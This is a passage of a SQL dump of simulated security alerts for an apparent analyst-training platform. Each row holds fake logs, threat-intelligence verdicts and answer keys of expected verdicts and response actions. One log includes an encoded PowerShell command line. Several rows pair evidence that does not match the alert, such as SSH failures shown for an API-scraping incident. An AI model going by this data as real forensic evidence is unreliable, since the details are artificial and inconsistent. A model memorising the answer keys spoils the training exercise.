4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-0005\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.150\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760,\\\"external_attacker_ip\\\":\\\"203.0.113.150\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1019, 'Unauthorized API Access Detected', 'medium', 'LinkedIn API logs', 'Data Brokers initiated their operation by exploiting LinkedIn\'s API, making unauthorized requests to scrape profile data. The operation was detected due to unusual patterns of API calls originating from external IPs associated with known malicious activities.', 'API Abuse', 'T1190 - Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:47Z\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"api_key\":\"12345-abcde-67890-fghij\",\"username\":\"data_broker_01\",\"requested_endpoint\":\"/v2/profile/scrape\",\"request_method\":\"GET\",\"response_status\":403,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-17 03:50:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous scraping activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host communicating with external attacker.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"data_broker_01\",\"is_critical\":true,\"osint_result\":{\"source\":\"LinkedIn API Logs\",\"verdict\":\"suspicious\",\"details\":\"Username used in unauthorized API access attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"clean\",\"details\":\"Hash not associated with known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.720Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:47Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"api_key\\\":\\\"12345-abcde-67890-fghij\\\",\\\"username\\\":\\\"data_broker_01\\\",\\\"requested_endpoint\\\":\\\"/v2/profile/scrape\\\",\\\"request_method\\\":\\\"GET\\\",\\\"response_status\\\":403,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.720Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:47Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"api_key\\\":\\\"12345-abcde-67890-fghij\\\",\\\"username\\\":\\\"data_broker_01\\\",\\\"requested_endpoint\\\":\\\"/v2/profile/scrape\\\",\\\"request_method\\\":\\\"GET\\\",\\\"response_status\\\":403,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.720Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:47Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"api_key\\\":\\\"12345-abcde-67890-fghij\\\",\\\"username\\\":\\\"data_broker_01\\\",\\\"requested_endpoint\\\":\\\"/v2/profile/scrape\\\",\\\"request_method\\\":\\\"GET\\\",\\\"response_status\\\":403,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.720Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:47Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"api_key\\\":\\\"12345-abcde-67890-fghij\\\",\\\"username\\\":\\\"data_broker_01\\\",\\\"requested_endpoint\\\":\\\"/v2/profile/scrape\\\",\\\"request_method\\\":\\\"GET\\\",\\\"response_status\\\":403,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.720Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:47Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"api_key\\\":\\\"12345-abcde-67890-fghij\\\",\\\"username\\\":\\\"data_broker_01\\\",\\\"requested_endpoint\\\":\\\"/v2/profile/scrape\\\",\\\"request_method\\\":\\\"GET\\\",\\\"response_status\\\":403,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1020, 'Unusual Data Extraction Patterns', 'high', 'Network traffic analysis', 'Abnormal data extraction patterns detected, indicating potential scraping of LinkedIn profiles.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"185.199.108.153\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\",\"request_uri\":\"https://www.linkedin.com/profile/view?id=123456789\",\"request_method\":\"GET\",\"response_status\":\"200\",\"bytes_transferred\":10485760,\"username\":\"j.doe\",\"malicious_pattern_detected\":true}', '2026-01-17 03:50:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal employee workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"suspicious\",\"details\":\"Known to host suspicious activity related to data scraping.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://www.linkedin.com/profile/view?id=123456789\",\"is_critical\":false,\"osint_result\":{\"source\":\"LinkedIn\",\"verdict\":\"clean\",\"details\":\"Legitimate LinkedIn profile URL.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"John Doe, employee in sales department.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1021, 'Persistence Through API Key Rotation', 'medium', 'Access management logs', 'An unauthorized API key rotation was detected from a known malicious IP address, indicating an attempt to maintain persistent access.', 'Persistence Technique', 'T1098 - Account Manipulation', 1, 'new', NULL, '{\"event_time\":\"2023-10-10T14:32:07Z\",\"user\":\"malicious_actor\",\"source_ip\":\"203.0.113.45\",\"action\":\"api_key_rotation\",\"old_api_key\":\"abc123xyz456def789ghi012jkl345mn\",\"new_api_key\":\"def789ghi012jkl345mnabc123xyz456\",\"api_call\":\"/v1/key/rotate\",\"status\":\"success\",\"internal_ip\":\"192.168.1.25\"}', '2026-01-17 03:50:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"malicious_actor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"malicious\",\"details\":\"User associated with unauthorized actions\"}},{\"id\":\"artifact_3\",\"type\":\"internal_ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-10T14:32:07Z\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"api_key_rotation\\\",\\\"old_api_key\\\":\\\"abc123xyz456def789ghi012jkl345mn\\\",\\\"new_api_key\\\":\\\"def789ghi012jkl345mnabc123xyz456\\\",\\\"api_call\\\":\\\"/v1/key/rotate\\\",\\\"status\\\":\\\"success\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-10T14:32:07Z\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"api_key_rotation\\\",\\\"old_api_key\\\":\\\"abc123xyz456def789ghi012jkl345mn\\\",\\\"new_api_key\\\":\\\"def789ghi012jkl345mnabc123xyz456\\\",\\\"api_call\\\":\\\"/v1/key/rotate\\\",\\\"status\\\":\\\"success\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-10T14:32:07Z\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"api_key_rotation\\\",\\\"old_api_key\\\":\\\"abc123xyz456def789ghi012jkl345mn\\\",\\\"new_api_key\\\":\\\"def789ghi012jkl345mnabc123xyz456\\\",\\\"api_call\\\":\\\"/v1/key/rotate\\\",\\\"status\\\":\\\"success\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-10T14:32:07Z\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"api_key_rotation\\\",\\\"old_api_key\\\":\\\"abc123xyz456def789ghi012jkl345mn\\\",\\\"new_api_key\\\":\\\"def789ghi012jkl345mnabc123xyz456\\\",\\\"api_call\\\":\\\"/v1/key/rotate\\\",\\\"status\\\":\\\"success\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-10T14:32:07Z\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"api_key_rotation\\\",\\\"old_api_key\\\":\\\"abc123xyz456def789ghi012jkl345mn\\\",\\\"new_api_key\\\":\\\"def789ghi012jkl345mnabc123xyz456\\\",\\\"api_call\\\":\\\"/v1/key/rotate\\\",\\\"status\\\":\\\"success\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1022, 'Lateral Movement to Additional Data Sources', 'high', 'Cross-platform access logs', 'The threat actor has moved laterally to access additional public databases, attempting to expand their data collection efforts. The observed activity involves accessing internal resources using compromised credentials and pivoting to external databases.', 'Lateral Movement', 'T1563.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.103\",\"internal_user\":\"jdoe\",\"accessed_resource\":\"PublicDatabaseServer\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"data_collector.exe\",\"action\":\"AccessGranted\",\"log_id\":\"ab12cd34ef56gh78ij90klmnopqr\"}', '2026-01-17 03:50:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.103\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Corporate asset in database subnet.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"HR Records\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash recognized as part of a data collection tool used by APTs.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"data_collector.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal File Catalog\",\"verdict\":\"suspicious\",\"details\":\"Executable not usually found on corporate systems.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.103\\\",\\\"internal_user\\\":\\\"jdoe\\\",\\\"accessed_resource\\\":\\\"PublicDatabaseServer\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"data_collector.exe\\\",\\\"action\\\":\\\"AccessGranted\\\",\\\"log_id\\\":\\\"ab12cd34ef56gh78ij90klmnopqr\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.103\\\",\\\"internal_user\\\":\\\"jdoe\\\",\\\"accessed_resource\\\":\\\"PublicDatabaseServer\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"data_collector.exe\\\",\\\"action\\\":\\\"AccessGranted\\\",\\\"log_id\\\":\\\"ab12cd34ef56gh78ij90klmnopqr\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.103\\\",\\\"internal_user\\\":\\\"jdoe\\\",\\\"accessed_resource\\\":\\\"PublicDatabaseServer\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"data_collector.exe\\\",\\\"action\\\":\\\"AccessGranted\\\",\\\"log_id\\\":\\\"ab12cd34ef56gh78ij90klmnopqr\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.103\\\",\\\"internal_user\\\":\\\"jdoe\\\",\\\"accessed_resource\\\":\\\"PublicDatabaseServer\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"data_collector.exe\\\",\\\"action\\\":\\\"AccessGranted\\\",\\\"log_id\\\":\\\"ab12cd34ef56gh78ij90klmnopqr\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.103\\\",\\\"internal_user\\\":\\\"jdoe\\\",\\\"accessed_resource\\\":\\\"PublicDatabaseServer\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"data_collector.exe\\\",\\\"action\\\":\\\"AccessGranted\\\",\\\"log_id\\\":\\\"ab12cd34ef56gh78ij90klmnopqr\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1023, 'Aggregated Data Exploitation Risk', 'high', 'Open-source intelligence reports', 'In the final phase of the operation, aggregated data is assessed for potential misuse in targeted campaigns. This data, collected from various sources, poses a significant risk if leveraged for malicious purposes.', 'Data Aggregation Risk', 'T1020: Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.100\",\"filename\":\"report_aggregated_data.csv\",\"user\":\"jdoe\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"data_aggregation\",\"status\":\"completed\"}', '2026-01-17 03:50:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known data exfiltration campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used for data aggregation.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"report_aggregated_data.csv\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Files\",\"verdict\":\"clean\",\"details\":\"File used to store aggregated data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potentially manipulated data files.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Company Directory\",\"verdict\":\"clean\",\"details\":\"Valid user involved in data aggregation process.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.725Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"filename\\\":\\\"report_aggregated_data.csv\\\",\\\"user\\\":\\\"jdoe\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_aggregation\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.725Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"filename\\\":\\\"report_aggregated_data.csv\\\",\\\"user\\\":\\\"jdoe\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_aggregation\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.725Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"filename\\\":\\\"report_aggregated_data.csv\\\",\\\"user\\\":\\\"jdoe\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_aggregation\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.725Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"filename\\\":\\\"report_aggregated_data.csv\\\",\\\"user\\\":\\\"jdoe\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_aggregation\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.725Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"filename\\\":\\\"report_aggregated_data.csv\\\",\\\"user\\\":\\\"jdoe\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_aggregation\\\",\\\"status\\\":\\\"completed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1024, 'APT-Level C2 Communication Using Legitimate Services', 'critical', 'Splunk', 'Detected multi-hop C2 communication using Slack as a relay. Memory-only payloads detected on host.', 'Malware', 'T1090', 1, 'closed', NULL, '{\"timestamp\":\"2026-01-17T02:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.200\",\"username\":\"j.doe\",\"hostname\":\"CORP-PC-01\",\"command_line\":\"powershell.exe -EncodedCommand JABvAGIAYwBvAGQAZQAgAD0AIABpAGUAYgBhcwBkOGYAYwBhAGQANwA=\",\"domain\":\"slack.com\"}', '2026-01-17 19:11:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1200 times for C2 